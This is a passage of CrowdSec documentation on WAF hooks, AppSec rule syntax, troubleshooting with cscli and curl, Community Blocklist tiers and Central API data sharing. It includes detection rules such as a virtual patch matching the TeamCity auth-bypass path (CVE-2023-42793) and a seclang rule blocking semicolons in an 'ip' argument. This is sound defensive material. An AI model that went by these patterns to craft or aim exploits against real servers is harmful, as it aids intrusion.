on_match: - filter: IsInBand == true apply: - SetRemediation('captcha') ``` #### Use Case[โ€‹](#use-case-9 "Direct link to Use Case") Show a captcha instead of blocking the request for certain rule matches. ### 8. Allow Specific IPs[โ€‹](#8-allow-specific-ips "Direct link to 8. Allow Specific IPs") #### Description[โ€‹](#description-20 "Direct link to Description") Override blocking for trusted IP addresses. #### Hook Example[โ€‹](#hook-example-10 "Direct link to Hook Example") YAMLCOPY ``` on_match: - filter: IsInBand == true && req.RemoteAddr == "192.168.1.100" apply: - SetRemediation('allow') ``` #### Use Case[โ€‹](#use-case-10 "Direct link to Use Case") Allow internal/admin IPs to bypass security rules while keeping protection for others. ### 9. Cancel Alert Generation[โ€‹](#9-cancel-alert-generation "Direct link to 9. Cancel Alert Generation") #### Description[โ€‹](#description-21 "Direct link to Description") Prevent alert creation while keeping the request blocked. #### Hook Example[โ€‹](#hook-example-11 "Direct link to Hook Example") YAMLCOPY ``` on_match: - filter: IsInBand == true apply: - CancelAlert() ``` #### Use Case[โ€‹](#use-case-11 "Direct link to Use Case") Block suspicious requests without generating alerts for known false positives. ### 10. Force Alert for Out-of-Band Rules[โ€‹](#10-force-alert-for-out-of-band-rules "Direct link to 10. Force Alert for Out-of-Band Rules") #### Description[โ€‹](#description-22 "Direct link to Description") Generate alerts for monitoring rules that normally only log. #### Hook Example[โ€‹](#hook-example-12 "Direct link to Hook Example") YAMLCOPY ``` on_match: - filter: IsOutBand == true apply: - SendAlert() ``` #### Use Case[โ€‹](#use-case-12 "Direct link to Use Case") Create alerts for reconnaissance attempts detected by monitoring rules. ### 11. Hook Flow Control[โ€‹](#11-hook-flow-control "Direct link to 11. Hook Flow Control") #### Description[โ€‹](#description-23 "Direct link to Description") Control execution of subsequent hooks with break/continue. #### Hook Example[โ€‹](#hook-example-13 "Direct link to Hook Example") YAMLCOPY ``` on_match: - filter: IsInBand == true apply: - CancelEvent() on_success: break - filter: IsInBand == true apply: - SetRemediation('captcha') ``` #### Use Case[โ€‹](#use-case-13 "Direct link to Use Case") Cancel event generation and stop processing further hooks. ## Hook Execution Phases Summary[โ€‹](#hook-execution-phases-summary "Direct link to Hook Execution Phases Summary") * **on\_load**: Rule loading phase - disable/modify rules permanently * **pre\_eval**: Before rule evaluation - dynamic rule modification per request * **on\_match**: After rule match - modify response behavior * **post\_eval**: After evaluation - debugging and logging ## Summary of WAF Capabilities[โ€‹](#summary-of-waf-capabilities "Direct link to Summary of WAF Capabilities") These examples demonstrate the comprehensive capabilities of the CrowdSec WAF engine: * **Zone-based analysis**: Headers, URI, Body, Args, Method inspection * **Transform operations**: Case normalization, URL decoding, counting * **Match types**: Exact equals, contains, regex, endsWith patterns * **JSON processing**: Deep object navigation with dot notation * **Complex logic**: AND/OR conditions across multiple zones * **Variable targeting**: Specific parameter and header name filtering * **Dynamic behavior**: Hooks for runtime customization * **Security coverage**: XSS, SQLi, SSTI, XXE, RCE, and configuration exposure protection --- # Syntax ## CrowdSec AppSec rules[โ€‹](#crowdsec-appsec-rules "Direct link to CrowdSec AppSec rules") Rules are the core of the **AppSec Component**. They are used to detect and block attacks. There are two types of rules: * **In-band rules** are evaluated synchronously and will block request processing until they are evaluated, allowing real-time remediation. * **Out-of-band rules** are evaluated asynchronously and do not delay request processing. They do not trigger immediate remediation, but they are useful for expensive evaluations or more complex detection logic (for example, blocking an exploit that spans multiple requests). **In-band rules** and **out-of-band rules** differ slightly in their **default** behavior when a rule matches: * When an **in-band rule** matches: * an **alert** is created inside CrowdSec, allowing immediate and long-term remediation against the offending IP. * Note: No **event** will be generated by default. * When an **out-of-band rule** matches: * An **event** will be generated and sent through the normal **parsers/scenarios pipeline**, allowing the detection of more complex behaviors. * Note: No **alert** is generated by this out-of-band rule alone; the **parsers/scenarios pipeline** is responsible for raising **alerts** from processed **events**. ## Rules File Format[โ€‹](#rules-file-format "Direct link to Rules File Format") The rule files share some common directives with the scenarios: * a [`name`](#name) and [`description`](#description) * a [`rules`](#rules) section describing the rule to match the HTTP request * a [`labels`](#labels) section for metadata (see [labels format](https://doc.crowdsec.net/docs/next/scenarios/format/#labels)) YAMLCOPY ``` name: crowdsecurity/example-rule description: "Detect example pattern" rules: - zones: - URI transform: - lowercase match: type: contains value: this-is-a-appsec-rule-test labels: type: exploit service: http behavior: "http:exploit" confidence: 3 spoofable: 0 label: "A good description of the rule" classification: - cve.CVE-xxxx-xxxxx - attack.Txxxx ``` ## Rule Structure[โ€‹](#rule-structure "Direct link to Rule Structure") ### name[โ€‹](#name "Direct link to name") > string Rule identifier (required at the file level). It should be unique and stable because it is used for logging and troubleshooting. YAMLCOPY ``` name: crowdsecurity/example-rule description: "Detect example pattern" rules: [] ``` ### description[โ€‹](#description "Direct link to description") > string Human-readable summary of what the rule is detecting (optional but recommended). YAMLCOPY ``` name: crowdsecurity/example-rule description: "Detect example pattern" rules: [] ``` ### labels[โ€‹](#labels "Direct link to labels") > object Extra metadata used by scenarios and the Hub (optional). The format follows the [labels schema](https://doc.crowdsec.net/docs/next/scenarios/format/#labels). YAMLCOPY ``` name: crowdsecurity/example-rule description: "Detect example pattern" rules: [] labels: type: exploit service: http behavior: "http:exploit" ``` ### rules[โ€‹](#rules "Direct link to rules") > array List of rule conditions (required). Each condition inspects one or more [zones](#zones) and must include a [match](#match). For a condition: * **Mandatory**: [`zones`](#zones) and [`match`](#match). * **Optional**: [`variables`](#variables), [`transform`](#transform). [`variables`](#variables) restricts matching to specific keys within `ARGS`, `BODY_ARGS`, or `HEADERS`. At minimum, a condition needs a zone list and a match: YAMLCOPY ``` - zones: - URI match: type: contains value: admin ``` Conditions can be grouped with boolean operators. Use `and` when all nested conditions must match, and `or` when any nested condition can match. If no operator is provided at the rule level, conditions are treated as `or` by default. Each nested item is a full condition with its own [`zones`](#zones) and [`match`](#match). YAMLCOPY ``` rules: - and: - zones: - METHOD match: type: regex value: (GET|HEAD) - zones: - URI match: type: equals value: /crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl ``` See the [appsec-generic-test rule](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/appsec-generic-test) for a full example. ### Rule condition fields[โ€‹](#rule-condition-fields "Direct link to Rule condition fields") The following fields apply to each rule condition inside `rules`. ### zones[โ€‹](#zones "Direct link to zones") > array of strings Zones specify which parts of the request are inspected. You can have more than one. * *(mandatory)* `zones` one or more of: * `ARGS`: Query string parameters * `ARGS_NAMES`: Name of the query string parameters * `BODY_ARGS`: Body args * `BODY_ARGS_NAMES`: Name of the body args * `COOKIES`: Cookies sent in the request * `COOKIES_NAMES`: Names of the cookies sent in the request * `FILES`: Uploaded files in the request * `FILES_NAMES`: Names of uploaded files in the request * `HEADERS`: HTTP headers sent in the request * `HEADERS_NAMES`: Name of the HTTP headers sent in the request * `METHOD`: HTTP method of the request * `PROTOCOL`: HTTP protocol used in the query (HTTP/1.0, HTTP/1.1, ...) * `URI`: The URI of the request * `URI_FULL`: The full URL of the request including the query string * `RAW_BODY`: The entire body of the request * `FILENAMES`: The name of the files sent in the request * `FILES_TOTAL_SIZE`: Total size of the uploaded files in the request, Each zone entry is a single string from the list above. There are no per-zone required fields beyond choosing at least one zone for the condition. YAMLCOPY ``` name: crowdsecurity/example-rule rules: - zones: - URI match: type: contains value: admin ``` ### variables[โ€‹](#variables "Direct link to variables") > array of strings Optional list of variable names to restrict the [match](#match) to specific keys (only relevant for keyed zones such as `ARGS`, `BODY_ARGS`, `HEADERS` and `COOKIES`). A variable name can either be a literal key (e.g. `foo`) or a regular expression. To match keys by pattern, wrap the expression between slashes (e.g. `/pattern_.*/`); the enclosed value is evaluated as a [RE2](https://github.com/google/re2/wiki/Syntax) regexp against the available key names. info The default config `crowdsecurity/base-config` enables specific decoders when the following content-types are set: * **application/x-www-form-urlencoded** * **multipart/form-data** * **application/xml** * **application/json** : when used, all the variable names are prefixed with `json.` * **text/xml** YAMLCOPY ``` name: crowdsecurity/example-rule rules: - zones: - ARGS variables: - foo - bar - '/something[0-9]/' match: type: contains value: admin ``` ### match[โ€‹](#match "Direct link to match") > object Match provides the pattern to match the target against. You can combine it with a [`transform`](#transform). * *(mandatory)* `match` containing both: * *(mandatory)* `type` indicates the matching method, one of: * `regex`: matches *target* against value (*value* is a RE2 regexp) * `equals`: *target* is a string equal to *value* * `startsWith`: *target* starts with *value* * `endsWith`: *target* ends with *value* * `contains`: *target* contains value * `libinjectionSQL`: *target* is detected by lib injection SQL * `libinjectionXSS`: *target* is detected by lib injection XSS * `gt`: *target* is greater than *value* * `lt`: *target* is lower than *value* * `gte`: *target* is greater or equal to *value* * `lte`: *target* is lower or equal to *value* * *(mandatory)* `value` a string that is compared to the *target* YAMLCOPY ``` name: crowdsecurity/appsec-generic-test description: "AppSec Generic Test: trigger on GET /crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl" rules: - and: - zones: - METHOD match: type: regex value: (GET|HEAD) - zones: - URI match: type: equals value: /crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl labels: service: http type: test ``` ### transform[โ€‹](#transform "Direct link to transform") > array of strings Optional operations applied to the target before matching: * `lowercase` * `uppercase` * `length` : transform *target* to a number representing the string's length * `count` : number of times the *target* appears **Trim:** * `trim` : remove leading and trailing spaces * `trim_left` : remove leading spaces * `trim_right` : remove trailing spaces **Decoding:** * `htmlentitydecode` : decode HTML entities * `js_decode` : decode JavaScript escape sequences * `css_decode` : decode CSS escape sequences * `urldecode` : URL decode * `hexdecode` : hex decode * `cmdline` : decode common command-line obfuscation techniques **Base64:** * `b64decode` : strict base64 decode * `b64decode_lenient` : lenient base64 decode (no padding required, decodes up to first invalid character, skips whitespaces and dots) * `b64encode` : base64 encode **Path normalization:** * `normalize_path` (or `normalizepath`) : normalize the path (remove double slashes, etc) * `normalize_path_win` (or `normalizepathwin`) : normalize the path for Windows (handles backslashes) **Whitespace and nulls:** * `remove_whitespaces` : remove all whitespace characters * `compress_whitespaces` : compress multiple whitespace characters into one * `remove_nulls` : remove null bytes * `replace_nulls` : replace null bytes with spaces **Comments:** * `remove_comments` : remove common comment sequences (e.g. `/* ... */`, `//`, `#`, `--`) * `replace_comments` : replace comment sequences with a space YAMLCOPY ``` name: crowdsecurity/example-rule rules: - zones: - URI transform: - lowercase match: type: contains value: admin ``` ### Seclang Support[โ€‹](#seclang-support "Direct link to Seclang Support") In order to support your existing/legacy rules set, CrowdSec's AppSec Component is also able to load rules in the **seclang** format (**ModSecurity** rules). We recommend using this format only to use existing rules you may have. **ModSecurity** syntax support is provided by [coraza](https://github.com/corazawaf/coraza/), and the reference documentation is available [here](https://coraza.io/docs/seclang/syntax/). There are 2 ways to provide crowdsec with seclang rules: * Provide rules directly by using the `seclang_rules` parameter in your rule file * Provide a file containing the rules by using the `seclang_rules_file` parameter in your rule file. The file must be located inside CrowdSec data directory The default paths for the data directory per OS: * Linux: `/var/lib/crowdsec/data` * Freebsd: `/var/db/crowdsec/data` * Windows: `C:\programdata\crowdsec\data` > Example YAMLCOPY ``` name: example/secrules seclang_rules: - SecRule ARGS:ip ";" "t:none,log,deny,msg:'semi colon test',id:2" seclang_files_rules: - my-rule-file.conf ``` warning Your rule **must** have a non-empty `msg` field to properly trigger an Event/Alert --- # Troubleshooting ## Monitoring with `cscli`[โ€‹](#monitoring-with-cscli "Direct link to monitoring-with-cscli") `cscli metrics` exposes basic metrics about the AppSec Component: * Number of requests processed and blocked by the component/data source * Number of triggers for each rule TEXTCOPY ``` Appsec Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Appsec Engine โ”‚ Processed โ”‚ Blocked โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ myAppSecComponent โ”‚ 1.30k โ”‚ 312 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Appsec 'myAppSecComponent' Rules Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Rule ID โ”‚ Triggered โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ crowdsecurity/vpatch-CVE-2017-9841 โ”‚ 38 โ”‚ โ”‚ crowdsecurity/vpatch-env-access โ”‚ 274 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` Prometheus metrics are more detailed, including analysis time for each request and processing time for in-band and out-of-band rule groups. They are available in the dedicated [Grafana dashboard](https://docs.crowdsec.net/docs/next/observability/prometheus.md#exploitation-with-prometheus-server--grafana). You can also inspect an AppSec rule directly with `cscli appsec-rules inspect ` to see the amount of requests that were blocked by the rule. ## Enabling Debug in the AppSec Component[โ€‹](#enabling-debug-in-the-appsec-component "Direct link to Enabling Debug in the AppSec Component") Debugging configuration is cascading in the AppSec Component. Setting `log_level` to `debug` or `trace` in the acquisition config section or the AppSec config will enable debug logging for the whole AppSec Component. You can also set `debug` to `true` directly in an AppSec rule. When enabling debug at acquisition or AppSec config level: * Load-time debug is enabled (for example, rule translation to `SecRule` format). * Runtime debug is enabled for all rules loaded by the AppSec Component/AppSec config. When enabling debug directly at the AppSec rule level, only runtime evaluation details for that rule are displayed, such as: TEXTCOPY ``` DEBU[2023-12-06 15:40:26] Evaluating rule band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 DEBU[2023-12-06 15:40:26] Expanding arguments for rule band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 variable=REQUEST_URI DEBU[2023-12-06 15:40:26] Transforming argument for rule band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 DEBU[2023-12-06 15:40:26] Arguments transformed for rule band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 DEBU[2023-12-06 15:40:26] Matching rule band=inband key= name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 variable_name=REQUEST_URI DEBU[2023-12-06 15:40:26] Evaluating operator: MATCH arg=/rpc2 band=inband name=appseclol operator_data=/rpc2 operator_function=@endsWith rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 DEBU[2023-12-06 15:40:26] Executing disruptive action for rule action=deny band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 DEBU[2023-12-06 15:40:26] Rule matched band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 DEBU[2023-12-06 15:40:26] Finish evaluating rule band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 ``` ## Authenticating with the AppSec Component[โ€‹](#authenticating-with-the-appsec-component "Direct link to Authenticating with the AppSec Component") note We assume the AppSec engine is running on `127.0.0.1:7422`. See the [installation directives](https://docs.crowdsec.net/docs/next/appsec/quickstart/general_setup.md). > Create a valid API Key SHCOPY ``` cscli bouncers add appsec_test -k this_is_a_bad_password ``` > Send a request to the AppSec Component SHCOPY ``` curl -I -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-uri: /test' -H 'x-crowdsec-appsec-host: test.com' -H 'x-crowdsec-appsec-verb: GET' HTTP/1.1 200 OK Date: Tue, 05 Dec 2023 19:37:56 GMT Content-Length: 18 Content-Type: text/plain; charset=utf-8 ``` If you receive a `200 OK`, you can authenticate to the AppSec Component. If the component is misconfigured or your API key is invalid, you will receive a `401 Unauthorized`: SHCOPY ``` curl -I -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-api-key: meeh' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-uri: /test' -H 'x-crowdsec-appsec-host: test.com' -H 'x-crowdsec-appsec-verb: GET' HTTP/1.1 401 Unauthorized Date: Tue, 05 Dec 2023 19:38:51 GMT Content-Length: 0 ``` ## Ensuring your rule(s) are loaded[โ€‹](#ensuring-your-rules-are-loaded "Direct link to Ensuring your rule(s) are loaded") CrowdSec shows all installed rules at startup (even if they are not used by any active AppSec config). Seeing a rule here does not mean it will be used by the AppSec Component; it depends on the AppSec config you are using. TEXTCOPY ``` ... INFO[2023-12-06 14:58:19] Adding crowdsecurity/vpatch-CVE-2023-40044 to appsec rules INFO[2023-12-06 14:58:19] Adding crowdsecurity/vpatch-CVE-2023-42793 to appsec rules INFO[2023-12-06 14:58:19] loading acquisition file : ... ``` ## Testing a given rule[โ€‹](#testing-a-given-rule "Direct link to Testing a given rule") Create a minimal test environment with: * An acquisition config that loads your test AppSec config * An AppSec config that loads the test rule * The test rule itself > /etc/crowdsec/acquis.d/test\_appsec.yaml SHCOPY ``` mkdir -p /etc/crowdsec/acquis.d/ cat > /etc/crowdsec/acquis.d/test_appsec.yaml < /etc/crowdsec/appsec-config/test\_appsec\_config.yaml SHCOPY ``` mkdir -p /etc/crowdsec/appsec-configs/ cat > /etc/crowdsec/appsec-configs/test_appsec_config.yaml < /etc/crowdsec/appsec-rules/test-rule.yaml SHCOPY ``` mkdir -p /etc/crowdsec/appsec-rules/ cat > /etc/crowdsec/appsec-rules/test-rule.yaml < cat /etc/crowdsec/appsec-rules/vpatch-CVE-2023-42793.yaml YAMLCOPY ``` name: crowdsecurity/vpatch-CVE-2023-42793 description: "Detect CVE-2023-42793" rules: - zones: - URI transform: - lowercase match: type: endsWith value: /rpc2 labels: type: exploit service: http confidence: 3 spoofable: 0 behavior: "http:exploit" label: "JetBrains Teamcity auth bypass (CVE-2023-42793)" classification: - cve.CVE-2023-42793 - attack.T1595 - attack.T1190 - cwe.CWE-288 ``` To communicate with the AppSec Component, create a bouncer API key: SHCOPY ``` cscli bouncers add appsec_test -k this_is_a_bad_password ``` You can now query the AppSec Component (assuming the default `127.0.0.1:7422`; see the `listen_addr` setting in your acquisition config): SHCOPY ``` โ–ถ curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-uri: /rpc2' -H 'x-crowdsec-appsec-host: google.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' HTTP/1.1 403 Forbidden Date: Tue, 05 Dec 2023 11:17:51 GMT Content-Length: 16 Content-Type: text/plain; charset=utf-8 {"action":"ban"} ``` The alert should appear in `crowdsec.log`: TEXTCOPY ``` ... INFO[2023-12-05 12:17:52] (test) alert : crowdsecurity/vpatch-CVE-2023-42793 by ip 192.168.1.1 ... ``` And in `cscli alerts list`: TEXTCOPY ``` โ•ญโ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ ID โ”‚ value โ”‚ reason โ”‚ country โ”‚ as โ”‚ decisions โ”‚ created_at โ”‚ โ”œโ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ 1 โ”‚ Ip:192.168.1.1 โ”‚ crowdsecurity/vpatch-CVE-2023-42793 โ”‚ โ”‚ โ”‚ โ”‚ 2023-12-05 11:17:51 +0000 UTC โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` --- # Introduction The "Community Blocklist" is a curated list of IP addresses identified as malicious by CrowdSec. CrowdSec proactively block the IP addresses of this blocklist, preventing malevolent IPs from reaching your systems. # Community Blocklist Variation and Eligibility info The Community Blocklist is **only** available when using the Security Engine. To gain access, follow the steps in the [Getting Started Guide](https://docs.crowdsec.net/u/getting_started/intro.md). The rules are different for free and paying users: * Free users that **do not regularly contribute signals** get the `Community Blocklist (Lite)` * Free users that **do regularly contribute signals** get access to the `Community Blocklist` * Paying users get access to the `Community Blocklist (Premium)`, even if they don't contribute Regardless of the blocklist "tier" you have access to (`Lite`, `Community`, `Premium`), each Security Engine gets a tailored blocklist based on the kind of behavior you're trying to detect. ## What Counts as a Signal?[โ€‹](#what-counts-as-a-signal "Direct link to What Counts as a Signal?") For your signals to be counted toward community contribution, they must meet specific criteria: ### What We Count[โ€‹](#what-we-count "Direct link to What We Count") * **Signals generated by official CrowdSec scenarios from the Hub, unmodified** * We verify this by comparing the scenario's content hash we publish with the hash your engine reports ### What We Do Not Count[โ€‹](#what-we-do-not-count "Direct link to What We Do Not Count") * **Custom scenarios you write yourself** * **Tainted or modified scenarios** (even small edits). We cannot reliably vet behavior once a scenario is changed, so the consensus engine ignores those signals info Modifying a parser or using a custom parser has no impact on signal validity. ### Example[โ€‹](#example "Direct link to Example") If you only run a honeypot with a scenario you have modified, your local alerts will still fire, but the consensus engine will not use those signals. You can then show up as "not actively contributing," even though you see activity locally. ### How to Make Sure Your Signals Count[โ€‹](#how-to-make-sure-your-signals-count "Direct link to How to Make Sure Your Signals Count") * **Use the scenario straight from the Hub without edits** * **Keep auto-updates on** so hashes stay in sync * **If you need custom behavior**, copy to a local scenario and use it, but understand those signals will be excluded from consensus ## Community Blocklist[โ€‹](#community-blocklist "Direct link to Community Blocklist") Free users that are actively contributing to the network (sending signals on a regular basis) have their Security Engines automatically subscribed to the *Community Blocklist*. The content of the blocklist is unique to each Security Engine, as it mirrors the behaviours they report. For example, suppose you're running the Security Engine on a web server with WordPress. In that case, you will receive IPs performing generic attacks against web servers *and* IPs engaging in wordpress-specific attacks. The *Community Blocklist* contains 15 thousand malicious IP's based on your reported scenarios. ## Community Blocklist (Premium)[โ€‹](#community-blocklist-premium "Direct link to Community Blocklist (Premium)") Paying users' Security Engine are automatically subscribed to the *Community Blocklist (Premium)*, which contains IPs that mirror their installed scenarios. Paying users' do not need to contribute to the network to be eligible to the blocklist. The *Community Blocklist (Premium)* blocklist content has no size limit, unlike free users. ## Community Blocklist (Lite)[โ€‹](#community-blocklist-lite "Direct link to Community Blocklist (Lite)") Free users that are not actively contributing to the network or that have been flagged as cheating/abusing the system will receive the *Community Blocklist (Lite)*. This Blocklist is capped at 3 thousand IPs. ### Why is my Security Engine on the Lite Blocklist?[โ€‹](#why-is-my-security-engine-on-the-lite-blocklist "Direct link to Why is my Security Engine on the Lite Blocklist?") Your Security Engine may be placed on the Lite Blocklist for various reasons, such as: 1. Low Visibility Services Your services are self-hosted (e.g., for private video or image hosting) and primarily accessed by a small group. As a result, your Security Engine detects less malicious activity compared to public-facing services like blogs or e-commerce sites. 2. Comprehensive Security Setup Your existing security measures reduce reliance on the Community Blocklist. These may include: * Geoblocking (restricting access to certain countries) * IP whitelisting with a default deny-all policy * VPN-only access * OAuth authentication (e.g., Authentik, Authelia, Keycloak) This simply a result of your security model and access requirements, its neither an issue with your setup nor a limitation on our end. 3. Incomplete CrowdSec Configuration Your Security Engine may not be monitoring all your services. If you suspect this might be the case, refer to our [post-installation guide](https://docs.crowdsec.net/u/getting_started/next_steps.md) to ensure full coverage. --- # Introduction The [Central API](https://crowdsecurity.github.io/api_doc/capi/) is the service where the Local API pushes [signal meta-data](https://crowdsecurity.github.io/api_doc/capi/#/watchers/post_signals) and from where it receives the [community blocklists](https://crowdsecurity.github.io/api_doc/capi/#/bouncers/get_decisions_stream). ## Data exchanged with the Central API[โ€‹](#data-exchanged-with-the-central-api "Direct link to Data exchanged with the Central API") ### Signal meta-data[โ€‹](#signal-meta-data "Direct link to Signal meta-data") info This information is *only* going to be pushed when a scenario is coming from the hub and is unmodified. Custom scenarios, tainted scenarios and manual decisions are *not* pushed unless enrolled into the console. When the Security Engine generates an alert, [unless you opt-out of it](https://docs.crowdsec.net/u/troubleshooting/security_engine.md#how-to-disable-the-central-api), it will push "signal meta-data". The meta-data are : * The name of the scenario that was triggered * The hash & version of the scenario that was triggered * The timestamp of the decision * Your machine\_id * The offending IP address (along with its geoloc info when available) ### Scenario list[โ€‹](#scenario-list "Direct link to Scenario list") The community blocklist matches the scenarios deployed on the Security Engine instance. For this reason, the Security Engine provides the list of enabled scenarios during [the login process](https://crowdsecurity.github.io/api_doc/capi/#/watchers/post_watchers_login). ### Console metrics[โ€‹](#console-metrics "Direct link to Console metrics") To give you more information in the [console](https://app.crowdsec.net) and for general health monitoring of the project, crowdsec reports the following data to the Central API : * name and versions of the deployed Remediation Components * name and versions of the Security Engines registered to the Local API --- # Concepts ## Global overview[โ€‹](#global-overview "Direct link to Global overview") This page defines the core CrowdSec concepts and how the components interact. It focuses on how detection is done, where data is stored, and where remediation is enforced. ## Security Engine[โ€‹](#security-engine "Direct link to Security Engine") > The Security Engine is the CrowdSec software you install (an IDS: Intrusion Detection System). It detects threats and produces alerts. The Local API can turn alerts into decisions using [profiles](https://docs.crowdsec.net/docs/next/local_api/profiles/intro.md). Threat prevention (blocking) is enforced by Remediation Components (bouncers). Internally, the Security Engine is made of two main components: the Log Processor (detection) and the Local API (storage and decision distribution). A Security Engine can run [standalone](https://docs.crowdsec.net/docs/next/intro.md#architecture) (Log Processor + Local API on the same host) or in a [distributed setup](https://docs.crowdsec.net/docs/next/intro.md#deployment-options) (multiple Log Processors sending alerts to a shared Local API). This lets you adapt CrowdSec to your infrastructure and constraints. In a distributed setup, detection content (collections/parsers/scenarios) runs on the Log Processor machines, while the 